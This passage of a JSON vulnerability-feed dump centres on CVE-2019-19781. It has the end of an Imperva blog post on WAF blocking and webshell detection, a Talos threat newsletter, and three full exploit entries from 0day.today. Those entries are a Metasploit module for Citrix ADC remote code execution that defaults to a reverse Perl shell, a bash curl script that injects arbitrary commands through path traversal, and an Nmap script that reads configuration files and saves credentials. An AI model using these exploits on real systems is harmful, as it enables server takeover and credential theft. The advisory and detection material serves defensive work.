\u201cTempTargetFolder\u201d variable in the upload request, essentially allowing file uploads to anywhere in the file system the web server has write permissions to.\n\nThe more recent vulnerability, CVE-2019-18935, details the anatomy of the upload request from RadAsyncUpload, in which the rauPostData parameter contains both a serialized configuration object, and the object\u2019s type.\n\nShown below is the HTTP POST request containing the encrypted rauPostData parameter. The part of the parameter before the \u201c&\u201d, highlighted in blue is the serialized configuration object, and the part after, highlighted in yellow is the object's defined type.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/sites/9/2020/07/Telerik-Request.jpg>)\n\nWhen decrypted the configuration object resembles the following:\n \n \n {\n \"TargetFolder\":\"jgas0meSrU/uP/TPzrhDTw==Au0LOaX6ddHOqJL5T8IwoKpc0rwIVPUB/dtjhNpis+s=\",\n \"TempTargetFolder\":\"5wWbvXpnoGw9mTa6QfX46Myim0SoKqJw/9EHc5hWUV4=fkWs4vRRUA8PKwu+jP0J2GwFcymt637TiHk3kmHvRM4=\",\n \"MaxFileSize\":0,\n \"TimeToLive\":{\n \"Ticks\":1440000000000,\n \"Days\":0,\n \"Hours\":40,\n \"Minutes\":0,\n \"Seconds\":0,\n \"Milliseconds\":0,\n \"TotalDays\":1.6666666666666665,\n \"TotalHours\":40,\n \"TotalMinutes\":2400,\n \"TotalSeconds\":144000,\n \"TotalMilliseconds\":144000000\n },\n \"UseApplicationPoolImpersonation\":false\n }\n \n\nAnd the type resembles:\n\n` \nTelerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=2017.1.228, Culture=neutral, PublicKeyToken=121fae78165ba3d4 \n`\n\nIt was discovered that, if the attacker could modify the specified type to be a gadget - a class inside the scope of execution of the application - in a subsequent request, they could achieve remote code execution on the server.\n\nAnalysts at Imperva were able to take the proof of concept code provided, and reproduce the requests made. From here they were able to create cloud WAF rules to distinguish between legitimate traffic from the RadAsyncUpload file handler, and the malicious requests from the PoC code.\n\n**Statistics and observations:**\n\nThroughout June, we observed the attack pattern matching that of an exploit of CVE-2019-18935 on 645 occasions. The following chart shows the top targeted countries during that period.\n\n### Exploitation of Citrix Products CVE-2019-19781\n\nThe vulnerability in Citrix products CVE-2019-19781 was disclosed in a bulletin released by Citrix back in December 2019. Although no proof of concept or exploit was released at the time, it was said to potentially result in remote code execution and was presumed to take advantage of a directory traversal flaw in the application. We\u2019ve already released a blog post covering our mitigation of this vulnerability [here](<https://www.imperva.com/blog/imperva-mitigates-exploits-of-citrix-vulnerability-right-out-of-the-box/>).\n\n**Statistics and observations:**\n\nDuring the month of June we\u2019ve seen the rule put in place for this vulnerability by Imperva Cloud WAF triggered 155,050 times. The following chart shows the top targeted countries during that period.\n\n### Persistence Techniques\n\nThe ACSC identified several different persistence techniques used during the campaign. Among these were several webshells which allowed the attacker to interact with the compromised systems after achieving initial access.\n\nA webshell is a script or piece of code which runs on a web server and allows for administrative actions to be performed remotely. Often these serve legitimate purposes, although uploading of webshells is common practice for attackers seeking to maintain persistence after initially compromising a server. These webshells are commonly referred to as backdoors.\n\n**Imperva\u2019s backdoor protection**\n\nBackdoor protection, which forms a part of the Imperva Cloud WAF, is capable of both detection and mitigation of webshells uploaded to compromised servers to act as backdoors. When certain conditions are met, the Cloud WAF proxies inspect the response from the server, from which they can identify known webshells, and block the subsequent requests thereafter.\n\nYou can read more about Imperva\u2019s backdoor protection [here](<https://www.imperva.com/blog/the-trickster-hackers-backdoor-obfuscation-and-evasion-techniques/>)\n\n**Webshells observed in the campaign**\n\nIn its disclosure, the ACSC provided a [list of webshells](<https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises-Web-Shell-Source.txt>) observed during the attack campaign. In each instance, the source code for the webshell was provided, XOR\u2019d, and base64 encoded to prevent \u2018accidental mishandling\u2019 of the code. We\u2019ll look briefly at two of these webshells and outline how Imperva\u2019s Backdoor Protection effectively mitigates them. Shown below is the Awen webshell source code in its encoded form.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/sites/9/2020/07/image6.png>)\n\n### Awen asp.net webshell\n\nThis is a simple, open source asp.net webshell outlined by the ACSC in its disclosure. It creates a simple HTML form which receives a string as input, and provides it as an argument to cmdexe. Shown below is the Awen webshell running in our sandbox environment, after executing the \u201csysteminfo\u201d command.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/sites/9/2020/07/image1-1.png>)\n\nAnalysts at Imperva were then able to decode the source code of both the webshells discussed, execute that code on a sandbox environment, and gather enough info to craft signatures to detect the webshells in the wild. Although neither of these webshells have been observed in the wild by Imperva at this time, we will be monitoring the traffic detected by these signatures closely in the coming weeks.\n\nFrom even a brief look at the details provided about the recent Australian Cyber attack, a lot can be learned about the techniques used by threat actors, and many conclusions can be drawn. Among the most significant is that even advanced \u201cstate based\u201d actors will make use of readily available exploits and attack code. Although the [mitigation recommendations from the ACSC](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-008-copy-paste-compromises-tactics-techniques-and-procedures-used-target-multiple-australian-networks>) are well advised, the use of a well configured WAF can serve as an extra layer of protection. This is where the deployment of the Imperva WAF could make all the difference to your business.\n\nThe post [Australian Cyber Attack Vectors Blocked Out of the Box by Imperva WAF](<https://www.imperva.com/blog/australian-cyber-attack-vectors-blocked-out-of-the-box-by-imperva-cloud-waf/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2020-07-06T15:01:00", "type": "impervablog", "title": "Australian Cyber Attack Vectors Blocked Out of the Box by Imperva WAF", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11317", "CVE-2019-18935", "CVE-2019-19781"], "modified": "2020-07-06T15:01:00", "id": "IMPERVABLOG:BB987E93C1A58280077D98CF497FD72D", "href": "https://www.imperva.com/blog/australian-cyber-attack-vectors-blocked-out-of-the-box-by-imperva-cloud-waf/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "zdt": [{"lastseen": "2020-01-19T23:04:26", "description": "Exploit for multiple platform in category web applications", "cvss3": {}, "published": "2020-01-13T00:00:00", "type": "zdt", "title": "Citrix Application Delivery Controller and Gateway 10.5 - Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-13T00:00:00", "id": "1337DAY-ID-33806", "href": "https://0day.today/exploit/description/33806", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Citrix ADC Remote Code Execution',\r\n 'Description' => %q(\r\n An issue was discovered in Citrix Application Delivery Controller (ADC)\r\n and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.\r\n ),\r\n 'Author' => [\r\n 'RAMELLA S\u00e9bastien' # https://www.pirates.re/\r\n ],\r\n 'References' => [\r\n ['CVE', '2019-19781'],\r\n ['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],\r\n ['EDB', '47901'],\r\n ['EDB', '47902']\r\n ],\r\n 'DisclosureDate' => '2019-12-17',\r\n 'License' => MSF_LICENSE,\r\n 'Platform' => ['unix'],\r\n 'Arch' => ARCH_CMD,\r\n 'Privileged' => true,\r\n 'Payload' => {\r\n 'Compat' => {\r\n 'PayloadType' => 'cmd',\r\n 'RequiredCmd' => 'generic perl meterpreter'\r\n }\r\n },\r\n 'Targets' => [\r\n ['Unix (remote shell)',\r\n 'Type' => :cmd_shell,\r\n 'DefaultOptions' => {\r\n 'PAYLOAD' => 'cmd/unix/reverse_perl',\r\n 'DisablePayloadHandler' => 'false'\r\n }\r\n ],\r\n ['Unix (command-line)',\r\n 'Type' => :cmd_generic,\r\n 'DefaultOptions' => {\r\n 'PAYLOAD' => 'cmd/unix/generic',\r\n 'DisablePayloadHandler' => 'true'\r\n }\r\n ],\r\n ],\r\n 'DefaultTarget' => 0,\r\n 'DefaultOptions' => {\r\n 'RPORT' => 443,\r\n 'SSL' => true\r\n },\r\n 'Notes' => {\r\n 'Stability' => [CRASH_SAFE],\r\n 'Reliability' => [REPEATABLE_SESSION],\r\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\r\n }\r\n ))\r\n\r\n register_options([\r\n OptAddress.new('RHOST', [true, 'The target address'])\r\n ])\r\n\r\n register_advanced_options([\r\n OptBool.new('ForceExploit', [false, 'Override check result', false])\r\n ])\r\n\r\n deregister_options('RHOSTS')\r\n end\r\n\r\n def execute_command(command, opts = {})\r\n filename = Rex::Text.rand_text_alpha(16)\r\n nonce = Rex::Text.rand_text_alpha(6)\r\n\r\n request = {\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'),\r\n 'headers' => {\r\n 'NSC_USER' => '../../../netscaler/portal/templates/' + filename,\r\n 'NSC_NONCE' => nonce\r\n },\r\n 'vars_post' => {\r\n 'url' => 'http://127.0.0.1',\r\n 'title' => \"[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]\",\r\n 'desc' => 'desc',\r\n 'UI_inuse' => 'RfWeb'\r\n },\r\n 'encode_params' => false\r\n }\r\n\r\n begin\r\n received = send_request_cgi(request)\r\n rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN\r\n print_error('Unable to connect on the remote target.')\r\n end\r\n return false unless received\r\n\r\n if received.code == 200\r\n vprint_status(\"#{received.get_html_document.text}\")\r\n sleep 2\r\n\r\n request = {\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'),\r\n 'headers' => {\r\n 'NSC_USER' => nonce,\r\n 'NSC_NONCE' => nonce\r\n }\r\n }\r\n\r\n ## Trigger to gain exploitation.\r\n begin\r\n send_request_cgi(request)\r\n received = send_request_cgi(request)\r\n rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN\r\n print_error('Unable to connect on the remote target.')\r\n end\r\n return false unless received\r\n return received\r\n end\r\n\r\n return false\r\n end\r\n\r\n def get_chr_payload(command)\r\n chr_payload = command\r\n i = chr_payload.length\r\n\r\n output = \"\"\r\n chr_payload.each_char do | c |\r\n i = i - 1\r\n output << \"chr(\" << c.ord.to_s << \")\"\r\n if i != 0\r\n output << \" . \"\r\n end\r\n end\r\n\r\n return output\r\n end\r\n\r\n def check\r\n begin\r\n received = send_request_cgi(\r\n \"method\" => \"GET\",\r\n \"uri\" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf')\r\n )\r\n rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN\r\n print_error('Unable to connect on the remote target.')\r\n end\r\n\r\n if received && received.code != 200\r\n return Exploit::CheckCode::Safe\r\n end\r\n return Exploit::CheckCode::Vulnerable\r\n end\r\n\r\n def exploit\r\n unless check.eql? Exploit::CheckCode::Vulnerable\r\n unless datastore['ForceExploit']\r\n fail_with(Failure::NotVulnerable, 'The target is not exploitable.')\r\n end\r\n else\r\n print_good('The target appears to be vulnerable.')\r\n end\r\n\r\n case target['Type']\r\n when :cmd_generic\r\n print_status(\"Sending #{datastore['PAYLOAD']} command payload\")\r\n vprint_status(\"Generated command payload: #{payload.encoded}\")\r\n\r\n received = execute_command(payload.encoded)\r\n if (received) && (datastore['PAYLOAD'] == \"cmd/unix/generic\")\r\n print_warning('Dumping command output in parsed http response')\r\n print_good(\"#{received.get_html_document.text}\")\r\n else\r\n print_warning('Empty response, no command output')\r\n return\r\n end\r\n\r\n when :cmd_shell\r\n print_status(\"Sending #{datastore['PAYLOAD']} command payload\")\r\n vprint_status(\"Generated command payload: #{payload.encoded}\")\r\n\r\n execute_command(payload.encoded)\r\n end\r\n end\r\n\r\nend\n\n# 0day.today [2020-01-19] #", "sourceHref": "https://0day.today/exploit/33806", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-19T23:06:56", "description": "Exploit for multiple platform in category web applications", "cvss3": {}, "published": "2020-01-11T00:00:00", "type": "zdt", "title": "Citrix Application Delivery Controller and Citrix Gateway - Remote Code Execution Vulnerability (1)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-11T00:00:00", "id": "1337DAY-ID-33794", "href": "https://0day.today/exploit/description/33794", "sourceData": "#!/bin/bash\r\n# Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway - CVE-2019-19781\r\n# Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'uname -a'\r\n# Release Date : 11/01/2020\r\n# Follow Us : https://twitter.com/ProjectZeroIN / https://github.com/projectzeroindia\r\necho \"=================================================================================\r\n ___ _ _ ____ ___ _ _\r\n| _ \\ _ _ ___ (_) ___ __ | |_ |_ / ___ _ _ ___ |_ _| _ _ __| |(_) __ _\r\n| _/| '_|/ _ \\ | |/ -_)/ _|| _| / / / -_)| '_|/ _ \\ | | | ' \\ / _' || |/ _' |\r\n|_| |_| \\___/_/ |\\___|\\__| \\__| /___|\\___||_| \\___/ |___||_||_|\\__,_||_|\\__,_|\r\n |__/ CVE-2019-19781\r\n=================================================================================\"\r\n##############################\r\nif [ -z \"$1\" ];\r\nthen\r\necho -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\\n'\r\nexit;\r\nfi\r\nfilenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1);\r\ncurl -s -k \"https://$1/vpn/../vpns/portal/scripts/newbm.pl\" -d \"url=http://example.com\\&title=[%25+template.new({'BLOCK'%3d'exec(\\'$2 | tee /netscaler/portal/templates/$filenameid.xml\\')%3b'})+%25]\\&desc=test\\&UI_inuse=RfWeb\" -H \"NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid\" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is\r\necho -ne \"\\n\" ;curl -m 3 -k \"https://$1/vpn/../vpns/portal/$filenameid.xml\" -s -H \"NSC_NONCE: pwnpzi1337\" -H \"NSC_USER: pwnpzi1337\" --path-as-is\r\necho -ne \"Command Output :\\n\"\r\ncurl -m 3 -k \"https://$1/vpn/../vpns/portal/$filenameid.xml\" -H \"NSC_NONCE: pwnpzi1337\" -H \"NSC_USER: pwnpzi1337\" --path-as-is\n\n# 0day.today [2020-01-19] #", "sourceHref": "https://0day.today/exploit/33794", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-19T23:02:20", "description": "Exploit for multiple platform in category web applications", "cvss3": {}, "published": "2020-01-16T00:00:00", "type": "zdt", "title": "Citrix Application Delivery Controller (ADC) and Gateway 13.0 - Path Traversal Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-16T00:00:00", "id": "1337DAY-ID-33824", "href": "https://0day.today/exploit/description/33824", "sourceData": "# Exploit Title: Citrix Application Delivery Controller (ADC) and Gateway 13.0 - Path Traversal\r\n# CVE: CVE-2019-19781\r\n# Vulenrability: Path Traversal\r\n# Vulnerablity Discovery: Mikhail Klyuchnikov\r\n# Exploit Author: Dhiraj Mishra\r\n# Vulnerable Version: 10.5, 11.1, 12.0, 12.1, and 13.0\r\n# Vendor Homepage: https://www.citrix.com/\r\n# References: https://support.citrix.com/article/CTX267027\r\n# https://github.com/nmap/nmap/pull/1893\r\n\r\nlocal http = require \"http\"\r\nlocal stdnse = require \"stdnse\"\r\nlocal shortport = require \"shortport\"\r\nlocal table = require \"table\"\r\nlocal string = require \"string\"\r\nlocal vulns = require \"vulns\"\r\nlocal nmap = require \"nmap\"\r\nlocal io = require \"io\"\r\n\r\ndescription = [[\r\nThis NSE script checks whether the traget server is vulnerable to\r\nCVE-2019-19781\r\n]]\r\n---\r\n-- @usage\r\n-- nmap --script https-citrix-path-traversal -p <port> <host>\r\n-- nmap --script https-citrix-path-traversal -p <port> <host> --script-args\r\noutput='file.txt'\r\n-- @output\r\n-- PORT STATE SERVICE\r\n-- 443/tcp open http\r\n-- | CVE-2019-19781:\r\n-- | Host is vulnerable to CVE-2019-19781\r\n-- @changelog\r\n-- 16-01-2020 - Author: Dhiraj Mishra (@RandomDhiraj)\r\n-- 17-12-2019 - Discovery: Mikhail Klyuchnikov (@__Mn1__)\r\n-- @xmloutput\r\n-- <table key=\"NMAP-1\">\r\n-- <elem key=\"title\">Citrix ADC Path Traversal aka (Shitrix)</elem>\r\n-- <elem key=\"state\">VULNERABLE</elem>\r\n-- <table key=\"description\">\r\n-- <elem>Citrix Application Delivery Controller (ADC) and Gateway 10.5,\r\n11.1, 12.0, 12.1, and 13.0 are vulnerable to a unauthenticated path\r\n-- traversal vulnerability that allows attackers to read configurations or\r\nany other file.\r\n-- </table>\r\n-- <table key=\"dates\">\r\n-- <table key=\"disclosure\">\r\n-- <elem key=\"year\">2019</elem>\r\n-- <elem key=\"day\">17</elem>\r\n-- <elem key=\"month\">12</elem>\r\n-- </table>\r\n-- </table>\r\n-- <elem key=\"disclosure\">17-12-2019</elem>\r\n-- <table key=\"extra_info\">\r\n-- </table>\r\n-- <table key=\"refs\">\r\n-- <elem>https://support.citrix.com/article/CTX267027</elem>\r\n-- <elem>https://nvd.nist.gov/vuln/detail/CVE-2019-19781</elem>\r\n-- </table>\r\n-- </table>\r\n\r\nauthor = \"Dhiraj Mishra (@RandomDhiraj)\"\r\nDiscovery = \"Mikhail Klyuchnikov (@__Mn1__)\"\r\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\r\ncategories = {\"discovery\", \"intrusive\",\"vuln\"}\r\n\r\nportrule = shortport.ssl\r\n\r\naction = function(host,port)\r\n local outputFile = stdnse.get_script_args(SCRIPT_NAME..\".output\") or nil\r\n local vuln = {\r\n title = 'Citrix ADC Path Traversal',\r\n state = vulns.STATE.NOT_VULN,\r\n description = [[\r\nCitrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0,\r\n12.1, and 13.0 are vulnerable\r\nto a unauthenticated path traversal vulnerability that allows attackers to\r\nread configurations or any other file.\r\n ]],\r\n references = {\r\n 'https://support.citrix.com/article/CTX267027',\r\n 'https://nvd.nist.gov/vuln/detail/CVE-2019-19781',\r\n },\r\n dates = {\r\n disclosure = {year = '2019', month = '12', day = '17'},\r\n },\r\n }\r\n local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)\r\n local path = \"/vpn/../vpns/cfg/smb.conf\"\r\n local response\r\n local output = {}\r\n local success = \"Host is vulnerable to CVE-2019-19781\"\r\n local fail = \"Host is not vulnerable\"\r\n local match = \"[global]\"\r\n local credentials\r\n local citrixADC\r\n response = http.get(host, port.number, path)\r\n\r\n if not response.status then\r\n stdnse.print_debug(\"Request Failed\")\r\n return\r\n end\r\n if response.status == 200 then\r\n if string.match(response.body, match) then\r\n stdnse.print_debug(\"%s: %s GET %s - 200 OK\",\r\nSCRIPT_NAME,host.targetname or host.ip, path)\r\n vuln.state = vulns.STATE.VULN\r\n citrixADC = ((\"Path traversal: https://%s:%d%s\"):format(host.targetname\r\nor host.ip,port.number, path))\r\n if outputFile then\r\n credentials = response.body:gsub('%W','.')\r\nvuln.check_results = stdnse.format_output(true, citrixADC)\r\n vuln.extra_info = stdnse.format_output(true, \"Credentials are being\r\nstored in the output file\")\r\nfile = io.open(outputFile, \"a\")\r\nfile:write(credentials, \"\\n\")\r\n else\r\n vuln.check_results = stdnse.format_output(true, citrixADC)\r\n end\r\n end\r\n elseif response.status == 403 then\r\n stdnse.print_debug(\"%s: %s GET %s - %d\", SCRIPT_NAME, host.targetname\r\nor host.ip, path, response.status)\r\n vuln.state = vulns.STATE.NOT_VULN\r\n end\r\n\r\n return vuln_report:make_output(vuln)\r\nend\n\n# 0day.today [2020-01-19] #", "sourceHref": "https://0day.today/exploit/33824", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "talosblog": [{"lastseen": "2020-01-30T19:31:49", "description": "[](<http://4.bp.blogspot.com/-YLRBgfX54uk/XKYbVrHlGXI/AAAAAAAAFu8/MxjUEd-3hhQTW4tZkat-cLDi8G5tVm6bgCK4BGAYYCw/s1600/threat-source.png>) \n_Newsletter compiled by Jon Munshaw._ \n \nWelcome to this week\u2019s Threat Source newsletter \u2014 the perfect place to get caught up on all things Talos from the past week. \n \nBe sure to pay close attention Tuesday for [some changes we have coming to Snort.org](<https://blog.snort.org/2020/01/area-under-construction-snort.html>). We\u2019ll spare you the details for now, but please bear with us if the search function isn\u2019t working correctly for you or you see anything else wonky on the site. \n \nAnd, as always, we have the [latest Threat Roundup](<https://blog.talosintelligence.com/2020/01/threat-roundup-0117-0124.html>) where we go through the top threats we saw \u2014 and blocked \u2014 over the past week. \n\n\n### Upcoming public engagements\n\n**Event: **A World of Threats: When DNS becomes the new weapon for governments at [Swiss Cyber Security Days](<https://swisscybersecuritydays.ch/en/programme-en/>)** ** \n**Location: **Forum Fribourg, Granges-Paccot, Switzerland \n**Date: **Feb. 12 - 13 \n**Speakers: **Paul Rascagn\u00e8res \n**Synopsis: **In this presentation, Paul will present two threat actors Cisco Talos has been tracking who are manipulating the DNS system. On Jan. 22, 2019, the U.S. DHS published a directive concerning this attack vector. We will present the timeline for these events and their technical details. One of the actors is behind the campaign we named \u201cSea Turtle.\u201d This actor is more advanced and more aggressive than others we\u2019ve observed in the past. They do not hesitate to directly target registrars and one registry. The talk will break down these two actors and the methodology used to target the victims. \n \n\n\n### Cyber Security Week in Review\n\n * State-sponsored actors linked to Turkey are believed to be [behind a recent wave of cyber attacks](<https://www.reuters.com/article/us-cyber-attack-hijack-exclusive/exclusive-hackers-acting-in-turkeys-interests-believed-to-be-behind-recent-cyberattacks-sources-idUSKBN1ZQ10X>) targeting governments in the Middle East and Asia. The attackers are using a technique called DNS hijacking that shows similarities to the Sea Turtle actor Cisco Talos discovered last year. \n * Facebook executives backed the security of its WhatsApp messaging software, saying it [could not have been at fault](<https://www.inc.com/jason-aten/facebook-says-apple-is-to-blame-for-hacking-of-jeff-bezos-phone.html>) for the hacking of Amazon CEO Jeff Bezos\u2019 phone. Reports state Bezos was sent a malicious video through WhatsApp and opened it, leading to the installation of spyware. However, Facebook laid the blame at the feet of Apple and iOS\u2019 security. \n * The Bezos incident has led to many wealthy individuals reaching out to cyber security vendors for [private assistance with security](<https://www.ft.com/content/96c79040-40ea-11ea-bdb5-169ba7be433d>). For example, one group is working on an information-sharing platform for cyber attacks targeting members of royal families across the globe. \n * Dozens of United Nations servers and user accounts were [breached during an August cyber attack](<https://www.thenewhumanitarian.org/investigation/2020/01/29/united-nations-cyber-attack>), according to new leaked reports. Staff members working in the UN\u2019s Geneva, Switzerland office were reportedly told to change their passwords but were not made aware of the breach. \n * The Japanese government [adopted a series of new policies](<https://www.infosecurity-magazine.com/news/japan-considers-emergency/>) this week designed to protect government services from a cyber attack during the upcoming Summer Olympics. A special panel called on infrastructure and public transportation services to investigate any potential vulnerabilities in their systems due to the use of internet-of-things devices, and report those flaws immediately to an administrator. \n * Cisco [launched a new security architecture platform for IoT devices](<https://securityboulevard.com/2020/01/cisco-launches-iot-security-platform/>) this week. Cisco Cyber Vision provides users with software and services backed by Talos\u2019 intelligence to identify threats and vulnerabilities in IoT assets in real-time. \n * Facebook [agreed to pay $550 million](<https://techcrunch.com/2020/01/29/facebook-will-pay-550-million-to-settle-class-action-lawsuit-over-privacy-violations/>) as part of a settlement of a class-action lawsuit in Illinois. The suit alleged Facebook violated a state law by using facial recognition technology to auto-tag users in photos without obtaining their consent. \n * The actor behind the Maze ransomware [dumped a large amount of victim data online](<https://arstechnica.com/information-technology/2020/01/dozens-of-companies-have-data-dumped-online-by-ransomware-ring-seeking-leverage/>) this week, including information from an Ohio community college and a grocery store chain in Michigan. Administrators of Maze\u2019s website said in a message that they were sparing recent victim Parkland, Florida, but still leaked some data to prove that they were hacked. \n * The [latest security update to iOS](<https://threatpost.com/apple-patches-ios-device-tracking/152364/>) allows users to disable a location-tracking feature used by many apps. The latest patches also fixed a critical remote code execution vulnerability in the WebKit browsing engine. \n\n \n\n\n### Notable recent security issues\n\n**Title: **[Cisco urging users to update Firepower Management Center immediately to fix severe bug](<https://www.zdnet.com/article/cisco-patch-this-critical-firewall-bug-in-firepower-management-center/>) \n**Description: **Cisco disclosed a high-severity vulnerability in its Firepower Management Center last week that could allow an attacker to bypass the usual authentication steps. The vulnerability \u2014 which was assigned a 9.8 severity score out of 10 \u2014 exists in the way Firepower handles LDAP authentication responses from an external authentication server. An attacker could exploit this flaw by sending a specially crafted HTTP request to the device. Users are also encouraged to turn off LDAP configuration on their devices. Cisco also disclosed seven high-severity flaws and 19 medium-severity security issues in some of its other products, including Smart Software Manager. \n**Snort SIDs: **52627 \u2013 52632, 52641 - 52646 \n** \n****Title: **[Exploitation of Citrix vulnerability spikes after POC released, patches followed](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) \n**Description: **Citrix rushed out a patch for its Application Delivery Controller (ADC) and Citrix Gateway products after proof of concept code leaked for a major vulnerability. The company first disclosed CVE-2019-19781 in December, saying a patch was forthcoming. But security researchers have noticed an uptick in exploitation attacks, forcing Citrix to move up its timeline. \n**Snort SIDs: **52620 \n\n\n### Most prevalent malware files this week\n\n**SHA 256:** [85b936960fbe5100c170b777e1647ce9f0f01e3ab9742dfc23f37cb0825b30b5](<https://www.virustotal.com/gui/file/85b936960fbe5100c170b777e1647ce9f0f01e3ab9742dfc23f37cb0825b30b5/details>) \n**MD5: **8c80dd97c37525927c1e549cb59bcbf3 \n**Typical Filename:** eternalblue-2.2.0.exe \n**Claimed Product: **N/A \n**Detection Name: **W32.85B936960F.5A5226262.auto.Talos \n \n**SHA 256: **[3f6e3d8741da950451668c8333a4958330e96245be1d592fcaa485f4ee4eadb3](<https://www.virustotal.com/gui/file/3f6e3d8741da950451668c8333a4958330e96245be1d592fcaa485f4ee4eadb3/details>) \n**MD5: **47b97de62ae8b2b927542aa5d7f3c858 \n**Typical Filename: **qmreportupload.exe \n**Claimed Product:** qmreportupload \n**Detection Name: **Win.Trojan.Generic::in10.talos \n \n**SHA 256: **[c0cdd2a671195915d9ffb5c9533337db935e0cc2f4d7563864ea75c21ead3f94** **](<https://www.virustotal.com/gui/file/c0cdd2a671195915d9ffb5c9533337db935e0cc2f4d7563864ea75c21ead3f94/details>) \n**MD5: **7c38a43d2ed9af80932749f6e80fea6f \n**Typical Filename: **xme64-520.exe \n**Claimed Product: **N/A** ** \n**Detection Name: **PUA.Win.File.Coinminer::1201 \n \n**SHA 256: **[c3e530cc005583b47322b6649ddc0dab1b64bcf22b124a492606763c52fb048f](<https://www.virustotal.com/gui/file/c3e530cc005583b47322b6649ddc0dab1b64bcf22b124a492606763c52fb048f/details>) \n**MD5:** e2ea315d9a83e7577053f52c974f6a5a \n**Typical Filename: **c3e530cc005583b47322b6649ddc0dab1b64bcf22b124a492606763c52fb048f \n**Claimed Product: **N/A \n**Detection Name:** W32.AgentWDCR:Gen.21gn.1201 \n** \n****SHA 256: **[d91abcd024d4172fadc5aa82750a18796a549207b76f624b8a9d165459379258](<https://www.virustotal.com/gui/file/d91abcd024d4172fadc5aa82750a18796a549207b76f624b8a9d165459379258/details>)** ** \n**MD5:** a917d39a8ef125300f2f38ff1d1ab0db \n**Typical Filename: **FFChromeSetters \n**Claimed Product: **N/A \n**Detection Name: **PUA.Osx.Adware.Macsearch::agent.tht.talos \n \nKeep up with all things Talos by following us on [Twitter](<https://twitter.com/talossecurity?lang=en>). [Snort](<https://twitter.com/snort?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor>), [ClamAV](<https://twitter.com/clamav?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor>) and [Immunet](<https://twitter.com/immunet?lang=en>) also have their own accounts you can follow to keep up with their latest updates. You can also subscribe to the Beers with Talos podcast [here](<https://itunes.apple.com/us/podcast/beers-with-talos-podcast/id1236329410>) (as well as on your favorite podcast app). And, if you\u2019re not already, you can also subscribe to the weekly Threat Source newsletter [here](<https://engage2demand.cisco.com/SubscribeTalosThreatSource>). \n\n", "cvss3": {}, "published": "2020-01-30T11:00:12", "type": "talosblog", "title": "Threat Source newsletter (Jan. 30, 2020)", "bulletinFamily": "blog", "cvss2": 